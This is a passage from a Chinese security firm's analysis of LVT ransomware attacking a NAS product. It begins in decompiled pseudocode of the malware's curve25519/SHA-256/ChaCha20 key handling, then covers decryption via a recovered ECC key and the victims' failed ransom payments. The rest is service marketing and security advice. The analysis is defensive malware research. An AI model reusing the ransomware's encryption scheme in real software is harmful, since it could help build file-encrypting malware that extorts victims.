&nbsp;&nbsp;&nbsp;&nbsp;v44,
&nbsp;&nbsp;&nbsp;&nbsp;v45,
&nbsp;&nbsp;&nbsp;&nbsp;v46,
&nbsp;&nbsp;&nbsp;&nbsp;v47,
&nbsp;&nbsp;&nbsp;&nbsp;v112,
&nbsp;&nbsp;&nbsp;&nbsp;v128,
&nbsp;&nbsp;&nbsp;&nbsp;v141,
&nbsp;&nbsp;&nbsp;&nbsp;v152);
&nbsp;&nbsp;golang_org_x_crypto_curve25519_scalarMult(
&nbsp;&nbsp;&nbsp;&nbsp;(int)under_ecc_32Byte_data,
&nbsp;&nbsp;&nbsp;&nbsp;(int)ecc_key,
&nbsp;&nbsp;&nbsp;&nbsp;(int)data32Byte,
&nbsp;&nbsp;&nbsp;&nbsp;32,
&nbsp;&nbsp;&nbsp;&nbsp;v48,
&nbsp;&nbsp;&nbsp;&nbsp;v49,
&nbsp;&nbsp;&nbsp;&nbsp;v50,
&nbsp;&nbsp;&nbsp;&nbsp;v51,
&nbsp;&nbsp;&nbsp;&nbsp;v52,
&nbsp;&nbsp;&nbsp;&nbsp;v113,
&nbsp;&nbsp;&nbsp;&nbsp;v124,
&nbsp;&nbsp;&nbsp;&nbsp;v129,
&nbsp;&nbsp;&nbsp;&nbsp;v137,
&nbsp;&nbsp;&nbsp;&nbsp;v142);
&nbsp;&nbsp;crypto_sha256_Sum256((uint8&nbsp;*)under_ecc_32Byte_data,&nbsp;0x20uLL,&nbsp;0x20uLL,&nbsp;32LL,&nbsp;v48,&nbsp;v53,&nbsp;v54,&nbsp;v55,&nbsp;v56);
&nbsp;&nbsp;*(_OWORD&nbsp;*)v172&nbsp;=&nbsp;v114;
&nbsp;&nbsp;v173&nbsp;=&nbsp;v143;
&nbsp;&nbsp;crypto_sha256_Sum256((uint8&nbsp;*)v172,&nbsp;0x20uLL,&nbsp;0x20uLL,&nbsp;32LL,&nbsp;v48,&nbsp;v57,&nbsp;v58,&nbsp;v59,&nbsp;v60);
&nbsp;&nbsp;v171[0]&nbsp;=&nbsp;v114;
&nbsp;&nbsp;v171[1]&nbsp;=&nbsp;v143;
&nbsp;&nbsp;((void&nbsp;(__fastcall&nbsp;*)(__int64&nbsp;*))loc_1CE5AF)(&v175);
&nbsp;&nbsp;file_stat.1.data&nbsp;=&nbsp;(void&nbsp;*)32;
&nbsp;&nbsp;v63&nbsp;=&nbsp;golang_org_x_crypto_chacha20_newUnauthenticatedCipher(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)&v176,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)v172,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;32,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;32,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)v171&nbsp;+&nbsp;10,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;12,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;22,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v61,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v62,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v114,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*((__int64&nbsp;*)&v114&nbsp;+&nbsp;1),
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v143,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*((__int64&nbsp;*)&v143&nbsp;+&nbsp;1));

最后通过文件大小判断采用的是Large cipher mode或者Small cipher mode进行解密。

6.解密步骤

利用相关技术获得ecc私钥如下

CFA61669D96E10861AEFF1FBD2E362139602AF74F3DBA36C96CDB3330433C0A8

patch文件或者解密程序，使得文件可以通过特征码验证。

成功解密，因此得出结论，黑客提供的解密器可以做到解密文件，但黑客提供的KEY有误导致客户无法正常解密。

7.总结

从技术层面而言，该LVT勒索病毒目前只针对这款NAS的漏洞进行了渗透入侵，并且释放LVT勒索病毒，据不完全统计，目前国内受害者有几十家使用该NAS的用户，同时LVT勒索加密程序生成了一对ecc公私钥，ecc公私钥利用crypto/rand生成，每次生成结果不同。其中私钥利用程序内置的RSA公钥加密后保存在README_lvt_PersonalKey.txt中，ecc公钥参与chacha20的加密工作，如需解密文件，必须需要ecc私钥，ecc私钥只能通过黑客的RSA私钥解密README_lvt_PersonalKey.txt获得。上文解密程序中ecc私钥获得为在加密器加密文件时调试获得私钥，但实际情况中勒索病毒进程结束之后，内存空间也被清空时，ecc私钥无法存在在任何位置，无法通过此方法或者类似方法捕获ecc私钥，此类方法在实际情况中不适用。因此唯一能解开lvt加密的办法是联系黑客获取正确的ecc私钥，但是目前已知的几位受害者给黑客支付了比特币赎金之后，黑客提供的ecc私钥是错误的，解开的文件是乱码的错误文件，并且后续再也联系不上该黑客团队。

从该勒索病毒团队做法而言，该漏洞也是NAS的历史漏洞，技术难度和攻击手法也都算不上高超，但是对受害者的网络、资料的破坏和骗取虚拟币行为也是令人无法理解的，如同某位受害者所说“没有江湖道义”，但其实再退一步来说，他们都能做出勒索的行为，就不要指望他遵守道德准则了。

因此如果您成为勒索软件的受害者，我们团队有大量专业的应急响应和网络安全专家，我们会全力协助您处理勒索软件事件。以下是我们提供的服务：

应急响应：
我们将立即采取行动，帮助您隔离受感染的系统，以防止进一步的数据损失。
分析受影响的文件和系统，以确定勒索软件的类型和传播方式。
提供紧急解密工具（如果可行）或建议其他解决方案。
溯源分析：
我们将追踪攻击来源，以便识别黑客并采取法律行动。
分析网络流量、日志和其他数据，以确定攻击的起源和传播路径。
勒索病毒分析：
我们会对受感染的文件进行深入分析，以了解勒索软件的工作原理。
研究加密算法和密钥管理，以便更好地理解解密过程。
解密工具和恢复文件：
如果我们成功获得了解密工具，我们将协助您进行恢复和处理相关被勒索病毒加密的文件。
清除恶意软件和修复系统：
使用我们的杀毒软件和勒索病毒处理安全工具扫描受感染的系统，以删除恶意软件。
更新操作系统和应用程序，以填补已知的漏洞。
检查系统日志，以查找异常活动或其他潜在的威胁。
加强安全措施：
加强网络安全策略，包括防火墙、入侵检测系统和访问控制。
培训员工，提高安全意识，以防止未来的勒索软件攻击。
报告事件：
将整个勒索病毒入侵事件做完整的梳理，形成汇报总结方案，呈递给用户方，以便后续针对这次事件之后的总结和改进。

8.安全建议

#

8.1 风险消减措施

资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

8.2 安全设备调优

#

目标

通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

8.3 全员安全意识增强调优

目标：

通过网络安全意识宣贯、培训提升全方位安全能力

形式：

培训及宣贯

线下培训课表

若无法组织线下的集体培训，考虑两种方式:

1.提供相关的安全意识培训材料，由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

9.团队介绍

团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系、ITSS（信息技术服务运行维护标准四级）等认证，已构建了网络安全行业合格的资质体系；

10.我们的数据恢复服务流程

多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。

① 免费咨询/数据诊断分析

专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。

售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

您清楚了解数据恢复方案后，您可自主选择以下下单方式：

双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。

④ 开始数据恢复专业施工

安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。

数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。

⑤ 数据验收/安全防御方案

完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。

客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。

点击关注下方名片进入公众号了解更多

喜欢此内容的人还喜欢

索勒安全团队

【成功案例】解决浙江xx电子有限公司的勒索病毒

索勒安全团队

Lockbit 3.0勒索病毒加密程序分析

索勒安全团队

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：solar应急响应团队索勒安全团队《【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析》

Tags: 应急响应恶意软件漏洞分析漏洞预警逆向分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)